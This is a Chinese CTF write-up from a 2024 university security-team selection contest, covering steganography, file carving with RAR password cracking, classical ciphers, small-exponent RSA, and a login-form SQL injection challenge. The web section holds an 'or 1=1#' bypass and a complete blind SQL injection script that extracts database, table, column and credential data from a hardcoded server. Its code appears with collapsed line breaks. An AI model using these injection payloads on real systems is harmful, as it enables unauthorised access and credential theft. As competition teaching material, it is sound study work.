2024年合肥师范学院信息安全小组内部选拔赛(c211)WP
目录
- 前言
- MISC
- 签到题_熟悉吗
- 又来一道签到题
- 文件包含
- CRYPTO
- 古典1
- 古典2
- RSA
- web
- baby_sql
前言
[HFNU 校级选拔] 已经结束,接下来一起了解下题目是怎么做的。
通过网盘分享的文件:ARCHPR_4.66.266.0_汉化绿色版.7z
链接: https://pan.baidu.com/s/1N_c0PJXb8ICkzWfHo98QHQ?pwd=ev3k 提取码: ev3k
MISC
签到题_熟悉吗
打开压缩包,发现里面是一个MP3文件,和一个key,值为syclovergeek,初步判断是mp3隐写,于是把它拖到工具MP3Stego目录下:
然后在当前路径下进入命令行,使用工具解密:
.\Decode.exe -X -P "syclovergeek" shuxidetimu.mp3
之后,在该目录下得到一个文件shuxidetimu.mp3.txt,打开得到flag:
flag:SYC{Mp3_B15b1uBiu_W0W}
又来一道签到题
这一题给了一个jpg图片,将它拖入010中,发现字符串:
将该字符串进行base32解密:
得到flag:flag{6f1797d4080b29b64da5897780463e30}
文件包含
拿到题目是一个MP4,对它进行binwalk分析,发现里面很多压缩包,压缩了很多图片:
010也是如此,可以发现里面有很多压缩包:
于是将Are_you_ok_.mp4改为Are_you_ok_.zip并解压缩,得到很多图片,同时发现hint
只有65.jpg无法正常回显,我们将它拖入010:
发现文件头很想rar格式的文件头,因此更改文件头为:
保存更改,并将后缀改为rar,再次打开发现需要密码:
由于是RAR5,旧版ARCHPR无法爆破RAR5的密码(新版ARCHPR可以尝试用掩码爆破,需要新版的可以找前言里的网盘工具):
解压之后得到一个flag文件,无法打开:
将它拖入010中,发现是png图片,于是将它的后缀改为png,即可打开图片:
flag如图:
CRYPTO
古典1
打开txt文件得到一串字符:S1ZKVUNTQ1FJNUpYV1ZDVEpGSEVPVENSS05FVklSU0tKRklFQ1YyUUlGREZPV0NCS0JIVktWMkdKNUlFNlNLUUtSRVVNVkNWS0JFVk9TS0dLUklFU1JTSktCNlE9PT09
将它拖入cyberchef,点击魔棒:
发现是一层base64解密并得到了下一层字符串:
点击魔棒,发现是一层base32解密并得到了下一层字符串,并且该字符串极其接近flag:
从题目描述中,我们知道flag格式为HFNUCTF,从H到U移动了13个单位的字符,并且之后的SAHPGS移动了13个单位的字符后分别对应FNUCTF,由此可得:最后一层加密是凯撒加密,偏移量为13。
flag为:HFNUCTF{GFVATYDFVGSWVCNJCNSJKNCBHJSBCBVCGVSGHCVJVSGCVSVC}
古典2
打开txt文件得到一串字符:
RktmbWZfZGg4emNIU1R7c2Z1ZGx1enVqemY3dXVydXJaSGVqZG1pZGNqfQ==
特征明显,为base64加密,我们将它拖入cyberchef:
此处已经出现了flag的部分特征: “{}” ,再结合提示中 “大括号的位置很重要,并且字符串格式为HFNUCTF{}” ,我们可以知道现在要做的是找到能够改变{}位置的加密方式,因为大部分古典加密出现的较早,当时并不存在”{}“这种字符,因此在加解密的时候遇到这种字符串往往采取不处理的方式,但是栅栏密码(Rail-Fence Cipher)会改变字符串的位置,“{}”也不例外。所以,我们这里尝试栅栏解密,目的是将“{”移到正确的位置上,即第8个字符串的位置。
经过简单的一两次尝试后得到,当key为3时,“{”出现在了正确的位置,并且“}”也闭合在了末尾。
此时进行凯撒解密,在尝试了24次后发现无法得到flag,说明还套了一层额外的加密,我们先尝试atbash密码:
之后再尝试凯撒加密:
当偏移量为13时,成功得到了flag,flag值为HFNUCTF{huihasdjhbjs_nasjdenfhj78sksnvdskv}
RSA
打开附件,发现已知n,c,e,由于n很大,我们无法通过因式分解得到p和q,需要想其他办法来解决。仔细观察,我们发现本题的e很小,值为3。
当m3比n还小,就有:
c = m<sup>3</sup> mod n --> c = m<sup>3</sup>
当m3大于n,就有:
c = m<sup>3</sup> - kn --> m<sup>3</sup> = c + kn
因此,爆破k,当c + kn可以被开三次方,就可以得到明文m。 exp如下:
import gmpy2
from Crypto.Util.number import *def de(c, e, n):k = 0while True:m = c + n*kresult, flag = gmpy2.iroot(m, e)if True == flag:return resultk += 1e= 3
n= 691316677109436623113422493782665795857921917893759942123087462879884062720557906429183155859597756890896192044003240821906332575292476160072039505771794531255542244123516929671277306361467074545720823735806308003091983427678300287709469582282466572230066580195227278214776280213722215953097747453437289734469454712426107967188109548966907237877840316009828476200388327329144783877033491238709954473809991152727333616022406517443130542713167206421787038596312975153165848625721911080561242646092299016802662913017071685740548699163836007474224715426587609549372289181977830092677128368806113131459831182390520942892670696447128631485606579943885812260640805756035377584155135770155915782120025116486061540105139339655722904721294629149025033066823599823964444620779259106176913478839370100891213072100063101232635183636552360952762838656307300621195248059253614745118852163569388418086291748805100175008658387803878200034840215506516715640621165661642177371863874586069524022258642915100615596032443145034847031564356671559179212705466145609698475546210994748949121359853094247990533075004393534565421776468785821261291309463205314057882016266066365636018084499158806717036972590848458891019171583268920180691221168453612029698510271
c= 3442467842482561323703237574537907554035337622762971103210557480050349359873041624336261782731509068910003360547049942482415036862904844600484976674423604861710166033558576921438068555951948966099658902606725292551952345193132973996288566246138708754810511646811362017769063041425115712305629748341207792305694590742066971202523405301561233341991037374101265623265332070787449332991792097090044761973705909217137119649091313457206589803479797894924402017273543719924849592070328396276760381501612934039653m=de(c,e,n)
print(m)
print(long_to_bytes(m))
#运行得到结果:b'flag{4c466c3d0949118a3ca3319b43fe792bef9e94a19c8f666d2ec6c890034d88ba}'
因此,flag为 flag{4c466c3d0949118a3ca3319b43fe792bef9e94a19c8f666d2ec6c890034d88ba}
web
baby_sql
这是一道sql盲注题,我们先尝试使用万能密码:' or 1=1#
,得到了假的flag:
所以需要尝试sql注入。
exp如下:
import requestsburp0_url = "http://39.104.206.54:8080/login.php"
burp0_cookies = {"PHPSESSID": "5703888b277338746d9f4292645d23a7"}
burp0_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Language": "zh-CN,zh;q=0.9", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Origin": "http://182.44.3.106:44556", "Pragma": "no-cache", "Cache-Control": "no-cache", "Referer": "http://182.44.3.106:44556/login.php", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"username": "1", "password": "admin"}# 枚举当前数据库名的payload
payload_db = "1' or ascii(substr((select database()) from {} for 1))={}#"# 枚举所有表名的payload
payload_tab = "1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='{}') from {} for 1))={}#"# 枚举所有列名的payload
payload_com = "1' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='{}') from {} for 1))={}#"# 枚举字符的payload
payload_str = "1' or ascii(substr((select {} from user) from {} for 1))={}#"# 判断长度的payload
payload_len_db = "1' or length((select database()))={}#"
payload_len_tab = "1' or length((select group_concat(table_name) from information_schema.tables where table_schema='{}'))={}#"
payload_len_com = "1' or length((select group_concat(column_name) from information_schema.columns where table_schema='{}'))={}#"
payload_len_str = "1' or length((select {} from {}))={}#"def fuzz():len = 0db = ''for i in range(1,100):burp0_data["username"] = payload_len_db.format(i)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:print(f'[+] 数据库名长度为: {i}')len = ibreakfor i in range(1,len+1):for n in range(32,128):burp0_data["username"] = payload_db.format(i,n)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:db += chr(n)print('[+] 第', i, '个字符枚举成功:',db)breakprint()for i in range(1,100):burp0_data["username"] = payload_len_tab.format(db,i)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:print(f'[+] 表名长度为: {i}')len = ibreaktab = ''for i in range(1,len+1):for n in range(32,128):burp0_data["username"] = payload_tab.format(db,i,n)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:tab += chr(n)print('[+] 第', i, '个字符枚举成功:',tab)breakprint()for i in range(1,100):burp0_data["username"] = payload_len_com.format(db,i)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:print(f'[+] 列名长度为: {i}')len = ibreakcom = ''for i in range(1,len+1):for n in range(32,128):burp0_data["username"] = payload_com.format(db,i,n)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:com += chr(n)print('[+] 第', i, '个字符枚举成功:',com)breakprint()com = input('[*] 请输入要猜解的列: ')for i in range(1,100):burp0_data["username"] = payload_len_str.format(com,tab,i)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:print(f'[+] 字段长度为: {i}')len = ibreakstr = ''for i in range(1,len+1):for n in range(32,128):burp0_data["username"] = payload_str.format(com,i,n)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:str += chr(n)print('[+] 第', i, '个字符枚举成功:',str)breakprint()com = input('[*] 请输入要猜解的列: ')for i in range(1,100):burp0_data["username"] = payload_len_str.format(com,tab,i)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:print(f'[+] 字段长度为: {i}')len = ibreakstr = ''for i in range(1,len+1):for n in range(32,128):burp0_data["username"] = payload_str.format(com,i,n)response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if '帐号或密码错误' not in response.text:str += chr(n)print('[+] 第', i, '个字符枚举成功:',str)breakif __name__ == '__main__':fuzz()
拿到账号密码后登陆,源码里有flag
相关文章:

2024年合肥师范学院信息安全小组内部选拔赛(c211)WP
目录 前言MISC签到题_熟悉吗又来一道签到题文件包含 CRYPTO古典1古典2RSA webbaby_sql 前言 [HFNU 校级选拔] 已经结束,接下来一起了解下题目是怎么做的。 通过网盘分享的文件:ARCHPR_4.66.266.0_汉化绿色版.7z 链接: https://pan.baidu.com/s/1N_c0PJX…...
GESP CCF C++八级编程等级考试认证真题 2024年12月
202412 GESP CCF C八级编程等级考试认证真题 1 单选题(每题 2 分,共 30 分) 第 1 题 小杨家响应国家“以旧换新”政策,将自家的汽油车置换为新能源汽车,正在准备自编车牌。自编车牌包括5 位数字或英文字母,…...
GlusterFS 部署全攻略:详细步骤与要点解析(上)
文章目录 1、二进制部署1.1 安装yum源1.2 准备服务器1.3 添加本地解析1.4关闭防火墙及selinux1.5 加载内核模块1.6 格式化分区和挂载brick1.7 安装GlusterFS1.8 iptables配置1.9 配置可信任池1.10 设置GlusterFS卷1.11 测试volume卷 2、使用heketi将二进制GlusterFS集群作为k8s…...

充分利用 AIStor 的网络配置

算法题(10):好数
审题: 需要判断出1-N的范围内有多少个好数,并输出 思路: 遍历数据:需要用for循环(从1循环到N) 每一位判断:用while循环,先从个位开始,每循环一次就让记录位数的变量&…...
使用二分查找法找出给定点距离给定点集合距离最近的点
1、场景描述 给定点Point A (x,y)和 直线点集合 Points [(x1,y1),(x2,y2),(x3,y3),(x4,y4),(x5,y5)......],计算出集合中距离点A最近的一个点 (如果集合中的两个点距离A点最近且相等,则只取其中一个) 2、代码&#x…...

国标GB28181协议平台Liveweb:搭建建筑工地无线视频联网监控系统方案
随着科技高速发展,视频信号经过数字压缩,通过互联网宽带或者移动4G网络传递,可实现远程视频监控功能。将这一功能运用于施工现场安全管理,势必会大大提高管理效率,提升监管层次。而这些,通过Liveweb监控系统…...

构建MacOS应用小白教程(打包 签名 公证 上架)
打包 在package.json中,dependencies会被打进 Electron 应用的包里,而devDependencies则不会,所以必要的依赖需要放到dependencies中。files中定义自己需要被打进 Electron 包里的文件。以下是一个完整的 mac electron-builder的配置文件。 …...

Nginx 双向链表 ngx_queue_t
目录 一、基本概述 二、数据结构 三、接口描述与实现 1、相关宏接口 2、ngx_queue_middle 3、ngx_queue_sort 四、使用案例 整理自 nginx 1.9.2 源码 和 《深入理解 Nginx:模块开发与架构解析》 一、基本概述 双向链表的优势是可以快速进行数据插入、删除与…...

【vue】npm install 报错 python2 Error: not found: python2
如图所示,vue项目在下载依赖的时候报错找不到python2,有网友通过下载python2.7并配置环境变量解决了,这里有两个其他自测可用的方式,供各位作为参考。 报错的主要原因是因为【sass-loader】【node-sass】这两个依赖跟nodejs版本有…...
CS 144 check3: the TCP sender
Lecture Notes 略 Exercises 现在,在check3中,您将实现连接的另一边。 TCPSender是一种工具,它从出站字节流转换为将成为不可靠数据报的有效负载的段。 TCP sender的任务是确保receiver至少收到每个bytes一次。任务: 1、跟踪…...

Deepin/Linux clash TUN模式不起作用,因网关导致的问题的解决方案。
网关导致的问题的解决方案 查看路由 ip route寻找默认路由 默认路由应当为Mihomo default dev Mihomo scope link 如果不是,则 sudo ip route add default dev Mihomo在clash TUN开关状态发生变化时,Mihomo网卡会消失,所以提示找不到网卡…...

Tomato 靶机(通关攻略)
点击开启靶机 去kali终端输入 arp-scan -l //扫描靶机IP 扫出靶机IP192.168.131.171 第一步:信息收集 端口扫描 nmap -p- 192.168.131.171 敏感目录扫描 dirb http://192.168.131.171 总结: IP:192.168.168.131 开放端口:2…...

服务器被入侵登录不上怎么办?
在数字化时代,服务器作为数据存储与业务运行的核心载体,其安全性直接关系到企业的生死存亡。然而,随着网络攻击手段的不断升级,服务器被入侵的事件屡见不鲜,导致系统瘫痪、数据泄露等严重后果。当您发现自己的服务器被…...

达梦官方工具 SQLark数据迁移(oracle->达梦数据库)
应国产化需求需要,需将系统中涉及的各中间件替换成国产中间件,此文介绍了从Oracle迁移数据至达梦dm8的步骤,该文在windos环境下已验证测试过 1 SQLark介绍 SQLark是一款专为信创应用开发者设计的数据库开发和管理工具。它支持快速查询、创建和管理多种类型的数据库系统…...

redis数据类型:list
list 的相关命令配合使用的应用场景: 栈和队列:插入和弹出命令的配合,亦可实现栈和队列的功能 实现哪种数据结构,取决于插入和弹出命令的配合,如左插右出或右插左出:这两种种方式实现先进先出的数据结构&a…...
.NET周刊【12月第2期 2024-12-08】
国内文章 终于解决了.net在线客服系统总是被360误报的问题(对软件进行数字签名) https://www.cnblogs.com/sheng_chao/p/18581139 升讯威在线客服与营销系统由.net core和WPF开发,旨在开放、开源、共享。开发者为解决360与其他国产管家的误…...

C#—扩展方法
扩展方法 扩展方法是C#中一种特殊的静态方法,它定义在一个静态类中,但是可以像实例方法一样被调用,使得代码看起来更为直观和易于阅读。扩展方法允许你在不修改原始类的情况下,添加新的方法到现有的类型中。 有↓箭头的是扩展方…...

金碟中间件-AAS-V10.0安装
金蝶中间件AAS-V10.0 AAS-V10.0安装 1.解压AAS-v10.0安装包 unzip AAS-V10.zip2.更新license.xml cd /root/ApusicAS/aas# 这里要将license复制到该路径 [rootvdb1 aas]# ls bin docs jmods lib modules templates config domains …...
sql server 查询对象的修改时间
sql server 不能查询索引的最后修改时间,可以查询表,存储过程,函数,pk 的最后修改时间使用以下语句 select * from sys.all_objects ob order by ob.modify_date desc 但可以参考一下统计信息的最后修改时间,因为索…...
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以? 在 Golang 的面试中,map 类型的使用是一个常见的考点,其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...

【第二十一章 SDIO接口(SDIO)】
第二十一章 SDIO接口 目录 第二十一章 SDIO接口(SDIO) 1 SDIO 主要功能 2 SDIO 总线拓扑 3 SDIO 功能描述 3.1 SDIO 适配器 3.2 SDIOAHB 接口 4 卡功能描述 4.1 卡识别模式 4.2 卡复位 4.3 操作电压范围确认 4.4 卡识别过程 4.5 写数据块 4.6 读数据块 4.7 数据流…...
Leetcode 3577. Count the Number of Computer Unlocking Permutations
Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接:3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯,要想要能够将所有的电脑解锁&#x…...
vue3 字体颜色设置的多种方式
在Vue 3中设置字体颜色可以通过多种方式实现,这取决于你是想在组件内部直接设置,还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法: 1. 内联样式 你可以直接在模板中使用style绑定来设置字体颜色。 <template><div :s…...

视频字幕质量评估的大规模细粒度基准
大家读完觉得有帮助记得关注和点赞!!! 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用,因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型(VLMs)在字幕生成方面…...

【论文阅读28】-CNN-BiLSTM-Attention-(2024)
本文把滑坡位移序列拆开、筛优质因子,再用 CNN-BiLSTM-Attention 来动态预测每个子序列,最后重构出总位移,预测效果超越传统模型。 文章目录 1 引言2 方法2.1 位移时间序列加性模型2.2 变分模态分解 (VMD) 具体步骤2.3.1 样本熵(S…...

优选算法第十二讲:队列 + 宽搜 优先级队列
优选算法第十二讲:队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…...
【Go语言基础【13】】函数、闭包、方法
文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数(函数作为参数、返回值) 三、匿名函数与闭包1. 匿名函数(Lambda函…...

安宝特案例丨Vuzix AR智能眼镜集成专业软件,助力卢森堡医院药房转型,赢得辉瑞创新奖
在Vuzix M400 AR智能眼镜的助力下,卢森堡罗伯特舒曼医院(the Robert Schuman Hospitals, HRS)凭借在无菌制剂生产流程中引入增强现实技术(AR)创新项目,荣获了2024年6月7日由卢森堡医院药剂师协会࿰…...
站群服务器的应用场景都有哪些?
站群服务器主要是为了多个网站的托管和管理所设计的,可以通过集中管理和高效资源的分配,来支持多个独立的网站同时运行,让每一个网站都可以分配到独立的IP地址,避免出现IP关联的风险,用户还可以通过控制面板进行管理功…...